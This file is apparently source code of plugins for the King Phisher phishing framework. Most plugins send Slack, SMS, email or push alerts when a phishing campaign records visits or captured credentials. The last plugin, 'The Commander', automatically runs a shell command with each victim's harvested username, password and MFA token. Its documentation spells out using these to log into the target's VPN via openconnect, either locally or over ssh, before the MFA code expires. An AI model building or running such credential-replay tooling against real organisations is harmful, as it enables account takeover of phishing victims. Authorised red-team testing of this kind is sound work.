class Plugin(plugins.ServerPlugin): authors = ['Spencer McIntyre', 'Mike Stringer'] classifiers = ['Plugin :: Server :: Notifications :: Alerts'] title = 'Campaign Alerts: via SMTP2Go' description = """ Send campaign alerts via the SMTP2go lib. This requires that users specify their email through the King Phisher client to subscribe to notifications. """ homepage = 'https://github.com/securestate/king-phisher-plugins' options = [ plugin_opts.OptionString( name='api_key', description='SMTP2GO API Key' ), plugin_opts.OptionString( name='server_email', description='Server email address to send notifications from' ) ] req_min_version = '1.10.0' req_packages = { 'smtp2go': has_smtp2go } def initialize(self): signals.campaign_alert.connect(self.on_campaign_alert) return True def on_campaign_alert(self, table, alert_subscription, count): user = alert_subscription.user if not user.email_address: self.logger.debug("user {0} has no email address specified, skipping SMTP alert".format(user.id)) return False # Workaround for python-smtp2go API, which forces the use of environment variables # https://github.com/smtp2go-oss/smtp2go-python/pull/1 has been submitted to fix this and should eventually be replaced with... # api = smtp2go.Smtp2goClient(self.config['api_key'] environ['SMTP2GO_API_KEY'] = self.config['api_key'] api = smtp2go.Smtp2goClient() server_email = self.config['server_email'] message = "{0:,} {1} reached for campaign: {2}".format(count, table.replace('_', ' '), alert_subscription.campaign.name) payload = { 'sender' : server_email, 'recipients' : [user.email_address], 'subject' : 'Campaign Event: ' + alert_subscription.campaign.name, 'text' : message, 'html' : "<html><body><h1>Campain Event: {0}</h1><p>{1}</p></body></html>".format(alert_subscription.campaign.name, message), 'custom_headers' : {} } response = api.send(**payload) if not response.success: if response.errors: self.logger([err for err in response.errors]) return False self.logger.debug("sent an email alert to user {0}".format(user.id)) return True
class Plugin(plugins.ServerPlugin): authors = ['Sebastian Reitenbach'] classifiers = ['Plugin :: Server :: Notifications'] title = 'Slack Notifications' description = """ A plugin that uses Slack Webhooks to send notifications on new website visits and submitted credentials to a slack channel. Notifications about credentials are sent with @here. """ homepage = 'https://github.com/securestate/king-phisher-plugins' options = [ plugin_opts.OptionString(name='webhookurl', description='The slack webhook URL to use'), plugin_opts.OptionString( name='channel', description='the channel were notifications are supposed to go to') ] req_min_version = '1.4.0' req_packages = {'requests': has_requests} version = '0.1' def initialize(self): signals.server_initialized.connect(self.on_server_initialized) return True def on_server_initialized(self, server): signals.db_session_inserted.connect(self.on_kp_db_event, sender='visits') signals.db_session_inserted.connect(self.on_kp_db_event, sender='credentials') self.send_notification( 'King-Phisher Slack notifications are now active') def on_kp_db_event(self, sender, targets, session): for event in targets: message = db_manager.get_row_by_id(session, db_models.Message, event.message_id) if sender == 'visits': message = "New visit from {0} for campaign '{1}'".format( message.target_email, message.campaign.name) elif sender == 'credentials': message = "<!here> New credentials received from {0} for campaign '{1}'".format( message.target_email, message.campaign.name) else: return self.send_notification(message) def send_notification(self, message): slack_data = {'text': message, 'channel': self.config['channel']} response = requests.post(self.config['webhookurl'], data=json.dumps(slack_data), headers={'Content-Type': 'application/json'})
class Plugin(plugins.ServerPlugin): authors = ['Spencer McIntyre'] classifiers = ['Plugin :: Server :: Notifications'] title = 'XMPP Notifications' description = """ A plugin which pushes notifications regarding the King Phisher server to a specified XMPP server. """ homepage = 'https://github.com/securestate/king-phisher-plugins' options = [ plugin_opts.OptionString('jid', 'the username to login with'), plugin_opts.OptionString('password', 'the password to login with'), plugin_opts.OptionString('room', 'the room to send notifications to'), plugin_opts.OptionString('server', 'the server to connect to'), # verify_cert only functions when sleekxmpp supports it plugin_opts.OptionBoolean('verify_cert', 'verify the ssl certificate', default=True) ] req_min_version = '1.4.0' req_packages = { 'sleekxmpp': has_sleekxmpp } def initialize(self): logger = logging.getLogger('sleekxmpp') logger.setLevel(logging.INFO) self.bot = None signals.server_initialized.connect(self.on_server_initialized) return True def on_server_initialized(self, server): self.bot = NotificationBot( self.config['jid'], self.config['password'], self.config['room'], self.config['verify_cert'] ) self.bot.connect(utilities.parse_server(self.config['server'], 5222)) self.bot.process(block=False) def finalize(self): if self.bot is None: return self.bot.disconnect()
class Plugin(plugins.ServerPlugin): authors = ['Spencer McIntyre'] classifiers = ['Plugin :: Server :: Notifications :: Alerts'] title = 'Campaign Alerts: via Clockwork SMS' description = """ Send campaign alerts via the Clockwork SMS API. This requires that users specify their cell phone number through the King Phisher client. """ homepage = 'https://github.com/securestate/king-phisher-plugins' version = '1.1' options = [ plugin_opts.OptionString( name='api_key', description='Clockwork SMS API Key' ) ] req_packages = { 'clockwork': has_clockwork } req_min_version = '1.12.0b2' def initialize(self): signals.campaign_alert.connect(self.on_campaign_alert) signals.campaign_alert_expired.connect(self.on_campaign_alert_expired) return True def on_campaign_alert(self, table, alert_subscription, count): message = "Campaign '{0}' has reached {1:,} {2}".format(alert_subscription.campaign.name, count, table.replace('_', ' ')) return self.send_alert(alert_subscription, message) def on_campaign_alert_expired(self, camapign, alert_subscription): message = "Campaign '{0}' has expired".format(alert_subscription.campaign.name) return self.send_alert(alert_subscription, message) def send_alert(self, alert_subscription, message): user = alert_subscription.user if not user.phone_number: self.logger.debug("user {0} has no cell phone number specified, skipping SMS alert".format(user.name)) return False api = clockwork.API(self.config['api_key']) response = api.send(clockwork.SMS(user.phone_number, message)) if not response.success: self.logger.error("received error {0} ({1})".format(response.error_code, response.error_message)) return False self.logger.debug("sent an SMS alert to user {0}".format(user.name)) return True
class Plugin(plugins.ServerPlugin): authors = ['Spencer McIntyre'] title = 'IFTTT Campaign Success Notification' description = """ A plugin that will publish an event to a specified IFTTT Maker channel when a campaign has been deemed 'successful'. """ homepage = 'https://github.com/securestate/king-phisher-plugins' options = [ plugin_opts.OptionString( name='api_key', description='Maker channel API key' ), plugin_opts.OptionString( name='event_name', description='Maker channel Event name' ) ] def initialize(self): signals.db_session_inserted.connect(self.on_kp_db_event, sender='visits') return True def on_kp_db_event(self, sender, targets, session): campaign_ids = collection.deque() for event in targets: cid = event.campaign_id if cid in campaign_ids: continue if not self.check_campaign(session, cid): continue campaign_ids.append(cid) self.send_notification() def check_campaign(self, session, cid): campaign = db_manager.get_row_by_id(session, db_models.Campaign, cid) if campaign.has_expired: # the campaign can not be exipred return False unique_targets = session.query(models.Message.target_email) unique_targets = unique_targets.filter_by(campaign_id=cid) unique_targets = float(unique_targets.distinct().count()) if unique_targets < 5: # the campaign needs at least 5 unique targets return False success_percentage = 0.25 unique_visits = session.query(models.Visit.message_id) unique_visits = unique_visits.filter_by(campaign_id=cid) unique_visits = float(unique_visits.distinct().count()) if unique_visits / unique_targets < success_percentage: # the campaign is not yet classified as successful return False if (unique_visits - 1) / unique_targets >= success_percentage: # the campaign has already been classified as successful return False return True def send_notification(self): try: resp = requests.post("https://maker.ifttt.com/trigger/{0}/with/key/{1}".format(self.config['event_name'], self.config['api_key'])) except Exception as error: self.logger.error('failed to post a notification of a successful campaign (exception)', exc_info=True) return if not resp.ok: self.logger.error('failed to post a notification of a successful campaign (request)') return self.logger.info('successfully posted notification of a successful campaign')
class Plugin(plugins.ServerPlugin): authors = ['Brandan Geise'] title = 'Pushbullet Notifications' description = """ A plugin that uses Pushbullet's API to send push notifications on new website visits and submitted credentials. """ homepage = 'https://github.com/securestate/king-phisher-plugins' options = [ plugin_opts.OptionString( name='api_keys', description='Pushbullet API key, if multiple, separate with comma' ), plugin_opts.OptionString( name='identifier', description= 'King Phisher server identifier to send in push notification header', default='King Phisher'), plugin_opts.OptionBoolean( name='mask', description='Partially mask email and campaign values', default=False) ] req_min_version = '1.4.0b0' req_packages = {'pushbullet.py': has_pushbullet} version = '1.2' def initialize(self): signals.server_initialized.connect(self.on_server_initialized) return True def on_server_initialized(self, server): signals.db_session_inserted.connect(self.on_kp_db_event, sender='visits') signals.db_session_inserted.connect(self.on_kp_db_event, sender='credentials') self.send_notification('Pushbullet notifications are now active') def on_kp_db_event(self, sender, targets, session): for event in targets: message = db_manager.get_row_by_id(session, db_models.Message, event.message_id) target_email, campaign_name = self.check_mask(message) if sender == 'visits': message = "New visit from {0} for campaign '{1}'".format( target_email, campaign_name) elif sender == 'credentials': message = "New credentials received from {0} for campaign '{1}'".format( target_email, campaign_name) else: return self.send_notification(message) def check_mask(self, message): if self.config['mask']: target_email = self.mask_string(message.target_email) campaign_name = self.mask_string(message.campaign.name) else: target_email = message.target_email campaign_name = message.campaign.name return target_email, campaign_name def mask_string(self, word): if utilities.is_valid_email_address(word): email_user, email_domain = word.split('@') safe_string = "{0}@{1}{2}{3}".format( email_user, email_domain[:1], ('*' * (len(email_domain) - 2)), email_domain[-1:]) else: safe_string = "{0}{1}{2}".format(word[:1], ('*' * (len(word) - 2)), word[-1:]) return safe_string def send_notification(self, message): api_keys = tuple(k.strip() for k in self.config['api_keys'].split(', ')) for key in api_keys: device = None if ':' in key: device, key = key.split(':') pb = pushbullet.Pushbullet(key) if device: try: device = pb.get_device(device) except pushbullet.errors.InvalidKeyError: self.logger.error( "failed to get pushbullet device: {0}".format(device)) try: pb.push_note(self.config['identifier'], message, device=device) except pushbullet.errors.PushError as error: self.logger.error('failed to send the pushbullet note')
class Plugin(plugins.ServerPlugin): authors = [ 'Austin DeFrancesco', 'Spencer McIntyre', 'Mike Stringer', 'Erik Daguerre' ] classifiers = ['Plugin :: Server :: Notifications :: Alerts'] title = 'Campaign Alerts: via Python 3 SMTPLib' description = """ Send campaign alerts via the SMTP Python 3 lib. This requires that users specify their email through the King Phisher client to subscribe to notifications. """ homepage = 'https://github.com/securestate/king-phisher-plugins' version = '1.1' # Email accounts with 2FA, such as Gmail, will not work unless "less secure apps" are allowed # Reference: https://support.google.com/accounts/answer/60610255 # Gmail and other providers require SSL on port 465, TLS will start with the activation of SSL options = [ plugin_opts.OptionString(name='smtp_server', description='Location of SMTP server', default='localhost'), plugin_opts.OptionInteger(name='smtp_port', description='Port used for SMTP server', default=25), plugin_opts.OptionString( name='smtp_email', description='SMTP email address to send notifications from', default=''), plugin_opts.OptionString( name='smtp_username', description='Username to authenticate to the SMTP server with'), plugin_opts.OptionString( name='smtp_password', description='Password to authenticate to the SMTP server with', default=''), plugin_opts.OptionBoolean( name='smtp_ssl', description='Connect to the SMTP server with SSL', default=False), plugin_opts.OptionString( name='email_jinja_template', description='Custom email jinja template to use for alerts', default=''), ] req_min_version = '1.12.0b2' def initialize(self): signals.campaign_alert.connect(self.on_campaign_alert) signals.campaign_alert_expired.connect(self.on_campaign_alert_expired) template_path = self.config['email_jinja_template'] if not template_path: template_path = os.path.join( os.path.dirname(os.path.realpath(__file__)), 'template.html') if not os.path.isfile(template_path): self.logger.warning('invalid email template: ' + template_path) return False with open(template_path, 'r') as file_: template_data = file_.read() self.render_template = templates.TemplateEnvironmentBase().from_string( template_data) return True def on_campaign_alert(self, table, alert_subscription, count): return self.send_alert(alert_subscription) def on_campaign_alert_expired(self, camapign, alert_subscription): return self.send_alert(alert_subscription) def get_template_vars(self, alert_subscription): campaign = alert_subscription.campaign template_vars = { 'campaign': { 'id': str(campaign.id), 'name': campaign.name, 'created': campaign.created, 'expiration': campaign.expiration, 'has_expired': campaign.has_expired, 'message_count': len(campaign.messages), 'visit_count': len(campaign.visits), 'credential_count': len(campaign.credentials) }, 'time': { 'local': datetime.datetime.now(), 'utc': datetime.datetime.utcnow() } } return template_vars def create_message(self, alert_subscription): message = MIMEMultipart() message['Subject'] = "Campaign Event: {0}".format( alert_subscription.campaign.name) message['From'] = "<{0}>".format(self.config['smtp_email']) message['To'] = "<{0}>".format(alert_subscription.user.email_address) textual_message = MIMEMultipart('alternative') plaintext_part = MIMEText( 'This message requires an HTML aware email agent to be properly viewed.\r\n\r\n', 'plain') textual_message.attach(plaintext_part) try: rendered_email = self.render_template.render( self.get_template_vars(alert_subscription)) except: self.logger.warning('failed to render the email template', exc_info=True) return False html_part = MIMEText(rendered_email, 'html') textual_message.attach(html_part) message.attach(textual_message) encoded_email = message.as_string() return encoded_email def send_alert(self, alert_subscription): user = alert_subscription.user if not user.email_address: self.logger.debug( "user {0} has no email address specified, skipping SMTP alert". format(user.name)) return False msg = self.create_message(alert_subscription) if not msg: return False if self.config['smtp_ssl']: SmtpClass = smtplib.SMTP_SSL else: SmtpClass = smtplib.SMTP try: server = SmtpClass(self.config['smtp_server'], self.config['smtp_port'], timeout=15) server.ehlo() except smtplib.SMTPException: self.logger.warning( 'received an SMTPException while connecting to the SMTP server', exc_info=True) return False except socket.error: self.logger.warning( 'received a socket.error while connecting to the SMTP server') return False if not self.config['smtp_ssl'] and 'starttls' in server.esmtp_features: self.logger.debug( 'target SMTP server supports the STARTTLS extension') try: server.starttls() server.ehlo() except smtplib.SMTPException: self.logger.warning( 'received an SMTPException wile negotiating STARTTLS with SMTP server', exc_info=True) return False if self.config['smtp_username']: try: server.login(self.config['smtp_username'], self.config['smtp_password']) except smtplib.SMTPNotSupportedError: self.logger.debug( 'SMTP server does not support authentication') except smtplib.SMTPException as error: self.logger.warning( "received an {0} while authenticating to the SMTP server". format(error.__class__.__name__)) server.quit() return False mail_options = ['SMTPUTF8'] if server.has_extn('SMTPUTF8') else [] try: server.sendmail(self.config['smtp_email'], alert_subscription.user.email_address, msg, mail_options) except smtplib.SMTPException as error: self.logger.warning("received error {0} while sending mail".format( error.__class__.__name__)) return False finally: server.quit() self.logger.debug( "successfully sent an email campaign alert to user: {0}".format( user.name)) return True
class Plugin(plugins.ServerPlugin): authors = ['Skyler Knecht'] classifiers = ['Plugin :: Server'] title = 'Postfix Message Information' description = """ A plugin that analyzes message information from the postfix logs to provide King Phisher clients message status and detail information. """ homepage = 'https://github.com/securestate/king-phisher-plugins' version = '1.0.1' req_min_version = '1.14.0b1' options = [ plugin_opts.OptionString( name='log_file', description= 'Location of the log file to parse through for information.', default='/var/log/mail.log') ] def initialize(self): log_file = self.config['log_file'] setuid_username = self.root_config.get('server.setuid_username') if setuid_username and not fs_utilities.access( log_file, mode=os.R_OK, user=setuid_username): self.logger.error( 'permissions error, invalid access to {}'.format(log_file)) return False signals.server_initialized.connect(self.on_server_initialized) self.logger.info('{} has been initialized.'.format(self.title)) return True def on_server_initialized(self, server): self._worker_thread = utilities.Thread( target=self.check_file_change, args=(self.config['log_file'], )) self._worker_thread.start() def finalize(self): self._worker_thread.stop() self._worker_thread.join() def check_file_change(self, file): old_modified_time = get_modified_time(file) old_file_contents = self.get_file_contents(file) while self._worker_thread.stop_flag.is_clear(): new_modified_time = get_modified_time(file) if old_modified_time < new_modified_time: new_file_contents = self.get_file_contents(file) self.post_to_database(self.parse_logs(new_file_contents)) old_modified_time = new_modified_time time.sleep(5) @staticmethod def get_file_contents(path): with open(path, 'r') as file_h: return file_h.readlines() def parse_logs(self, log_lines): results = {} for line_number, line in enumerate(log_lines, 1): log_id = re.search( r'postfix/[a-z]+\[\d+\]:\s+(?P<log_id>[0-9A-Z]{7,12}):\s+', line) if not log_id: # check blacklist strings to not spam log files # if not any(string in line for string in LOG_LINE_BLACKLIST): # self.logger.warning('failed to parse postfix log line: ' + str(line_number)) continue log_id = log_id.group('log_id') message_id = re.search(r'message-id=<(?P<mid>[0-9A-Za-z]{12,20})@', line) status = re.search(r'status=(?P<status>[a-z]+)\s', line) details = re.search(r'status=[a-z]+\s\((?P<details>.+)\)', line) if log_id not in results and message_id: results[log_id] = LogInformation( message_id=message_id.group('mid')) if log_id in results and status: results[log_id].statuses.append(status.group('status')) if log_id in results and details: results[log_id].message_details = details.group('details') return results @staticmethod def post_to_database(results): session = db_manager.Session for log_info in results.values(): if not log_info.message_status: continue message = session.query( db_models.Message).filter_by(id=log_info.message_id).first() if message: message.delivery_status = log_info.message_status message.delivery_details = log_info.message_details session.add(message) session.commit()
class Plugin(plugins.ServerPlugin): authors = ['Spencer McIntyre', 'Mike Stringer'] classifiers = ['Plugin :: Server :: Notifications :: Alerts'] title = 'Campaign Alerts: via SMTP2Go' description = """ Send campaign alerts via the SMTP2go lib. This requires that users specify their email through the King Phisher client to subscribe to notifications. """ homepage = 'https://github.com/securestate/king-phisher-plugins' version = '1.1' options = [ plugin_opts.OptionString(name='api_key', description='SMTP2GO API Key'), plugin_opts.OptionString( name='server_email', description='Server email address to send notifications from'), plugin_opts.OptionString( name='email_jinja_template', description='Custom email jinja template to use for alerts', default=''), ] req_min_version = '1.12.0b2' req_packages = {'smtp2go': has_smtp2go} def initialize(self): signals.campaign_alert.connect(self.on_campaign_alert) signals.campaign_alert_expired.connect(self.on_campaign_alert_expired) template_path = self.config['email_jinja_template'] if not template_path: template_path = os.path.join( os.path.dirname(os.path.realpath(__file__)), 'template.html') if not os.path.isfile(template_path): self.logger.warning('invalid email template: ' + template_path) return False with open(template_path, 'r') as file_: template_data = file_.read() self.render_template = templates.TemplateEnvironmentBase().from_string( template_data) return True def on_campaign_alert(self, table, alert_subscription, count): return self.send_alert(alert_subscription) def on_campaign_alert_expired(self, camapign, alert_subscription): return self.send_alert(alert_subscription) def get_template_vars(self, alert_subscription): campaign = alert_subscription.campaign template_vars = { 'campaign': { 'id': str(campaign.id), 'name': campaign.name, 'created': campaign.created, 'expiration': campaign.expiration, 'has_expired': campaign.has_expired, 'message_count': len(campaign.messages), 'visit_count': len(campaign.visits), 'credential_count': len(campaign.credentials) }, 'time': { 'local': datetime.datetime.now(), 'utc': datetime.datetime.utcnow() } } return template_vars def send_alert(self, alert_subscription): user = alert_subscription.user if not user.email_address: self.logger.debug( "user {0} has no email address specified, skipping SMTP alert". format(user.name)) return False # Workaround for python-smtp2go API, which forces the use of environment variables # https://github.com/smtp2go-oss/smtp2go-python/pull/1 has been submitted to fix this and should eventually be replaced with... # api = smtp2go.Smtp2goClient(self.config['api_key'] os.environ['SMTP2GO_API_KEY'] = self.config['api_key'] api = smtp2go.Smtp2goClient() server_email = self.config['server_email'] try: rendered_email = self.render_template.render( self.get_template_vars(alert_subscription)) except: self.logger.warning('failed to render the email template', exc_info=True) return False payload = { 'sender': server_email, 'recipients': [user.email_address], 'subject': 'Campaign Event: ' + alert_subscription.campaign.name, 'text': 'This message requires an HTML aware email agent to be properly viewed.\r\n\r\n', 'html': rendered_email, 'custom_headers': {} } response = api.send(**payload) if not response.success: if response.errors: self.logger.error(repr([err for err in response.errors])) return False self.logger.debug( "successfully sent an email campaign alert to user: {0}".format( user.name)) return True
class Plugin(plugins.ServerPlugin): authors = ['Corey Gilks'] title = 'The Commander' description = """ Execute an action from the KP Server after new credentials are received. Originally this plugin was created to quickly authenticate to the targets VPN after new credentials are received. When the target is using MFA every second counts, so action must be taken quickly. Operators may be unable to respond fast enough therefore this plugin is needed. You can dynamically include the username, password and MFA values in your command by using the following python format string syntax: {username} = Username {password} = Password {mfa} = MFA Requirements: 1. The command you choose must be executable by the "setuid_username" in your server_config.yml 2. Commands should be non-blocking. Commands that block will make the KP server hang. Use screen, &, etc.. Local KP server execution: To execute openconnect on the KP server, do the following: 1. Create vpn.sh in /opt/scripts/vpn.sh with the following contents (ensure you can sudo without your password): echo $2'\n'$3 | sudo openconnect -u $1 --passwd-on-stdin <TARGET VPN URL> 2. In your server_config.yml add the following configuration: plugins: post_command: command: screen -dmS {username} bash -c "sh /opt/scripts/vpn.sh {username} {password} {mfa}" Now any submitted credentials will automatically create a screen session. The name of the screen session will be the username that was submitted. If no screen session exists after credentials were entered then the VPN tunnel was not successfully established. Remote server execute: If you are concerned about opsec, you likely do not want to execute a VPN tunnel from your phishing infrastructure. In this case follow step 1 from "Local KP server execution" and then add this into your server_config.yml: post_command: command: 'ssh -i /<YOUR USER>/.ssh/key.pem -oStrictHostKeyChecking=no root@<ANOTHER HOST> screen -dmS {username} "sh /opt/scripts/vpn.sh {username} {password} {mfa}"' This will SSH into <ANOTHER HOST> using key.pem without the need to accept a new SSH key fingerprint. Then a new screen session is opened under the victims username. If no screen session exists after credentials were entered then the VPN tunnel was not successfully established. """ homepage = 'https://github.com/securestate/king-phisher-plugins' options = [ plugin_opts.OptionString( 'command', 'Execute an arbitrary command from the KP server after receiving new credentials', default=None), plugin_opts.OptionString('mfa_required', 'Require MFA before executing a command', default=True), plugin_opts.OptionString( 'strip_domain', 'Strip domain out of the username (if it exists) so only the username remains', default=True), plugin_opts.OptionInteger('username_len', 'Maximum username length', default=104), plugin_opts.OptionInteger('mfa_len', 'Maximum mfa token length', default=10), plugin_opts.OptionInteger('password_len', 'Maximum password length', default=127), ] req_min_version = '1.4.0' # Whichever version implemented MFA version = '1.0' def initialize(self): self.logger.warning( 'Command will execute upon receiving credentials:\n' + self.config['command']) signals.db_session_inserted.connect(self.new_challenger_approaches, sender='credentials') return True def illegal_char_check(self, name, value): illegal_chars = [ '/', '\\', '[', ']', ':', ';', '|', '=', ',', '+', '*', '?', '<', '>', ' ', '&', '!', '~', '#', '%', '^', '(', ')', '{', '}' '`' ] for illegal in illegal_chars: if illegal in value: self.logger.warning( 'Aborting. Found illegal character in {0}: {1}'.format( name, illegal)) return True return False def new_challenger_approaches(self, sender, targets, session): for event in targets: # Order by most recent datetime query = session.query(db_models.Credential).order_by( desc(db_models.Credential.submitted)) query = query.filter_by(message_id=event.message_id) raw = query.first() username = raw.username password = raw.password mfa = raw.mfa_token self.logger.warning('New credentials submitted. Verifying..') if not username: self.logger.warning( 'No username submitted but someone posted a web response. Aborting' ) continue else: username = raw.username.strip() self.logger.warning('Username: {0}'.format(username)) if not password: self.logger.warning( 'No password submitted for {0}. Aborting'.format(username)) continue if not mfa: if self.config['mfa_required']: self.logger.warning( 'MFA is required but no MFA submitted for {0}. Aborting' .format(username)) continue mfa = '' else: mfa = raw.mfa_token.strip() if len(username) > self.config['username_len']: self.logger.warning( 'Username length is too long. Maximum is {0} but {1} was entered' .format(self.config['username_len'], len(username))) continue if len(mfa) > self.config['mfa_len']: self.logger.warning( 'MFA length is too long. Maximum is {0} but {1} was entered' .format(self.config['mfa_len'], len(mfa))) continue if len(password) > self.config['password_len']: self.logger.warning( 'Password length is too long. Maximum is {0} but {1} was entered' .format(self.config['password_len'], len(password))) continue if '\\' in username: if len(username.split()) > 2: self.logger.warning( 'Aborting due to too many backslashes in username: {0}' .format(username)) continue if self.config['strip_domain']: username = username.split('\\')[-1] if self.illegal_char_check('username', username): continue if self.illegal_char_check('MFA', mfa): continue username = re.escape(username) password = re.escape(password) mfa = re.escape(mfa) # Execute command logic here self.logger.warn('Command:\n{0}'.format( self.config['command'].format(username=username, password='******', mfa=mfa))) command = self.config['command'].format(username=username, password=password, mfa=mfa) command = shlex.split(command) while True: run = subprocess.run(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, close_fds=True) if run.stdout: self.logger.warning('Command returned output:\n{0}'.format( run.stdout.decode('utf-8'))) # Sometimes SSH connections fail. Wouldn't want to waste creds, so let's try again! if b'Connection closed by remote host' in run.stdout: self.logger.warning( 'SSH Connection failed. Trying again..') continue elif run.stderr: self.logger.warning('Command returned error:\n{0}'.format( run.stderr.decode('utf-8'))) else: self.logger.warning( "Executed command. Nothing returned from stdout or stderr." ) break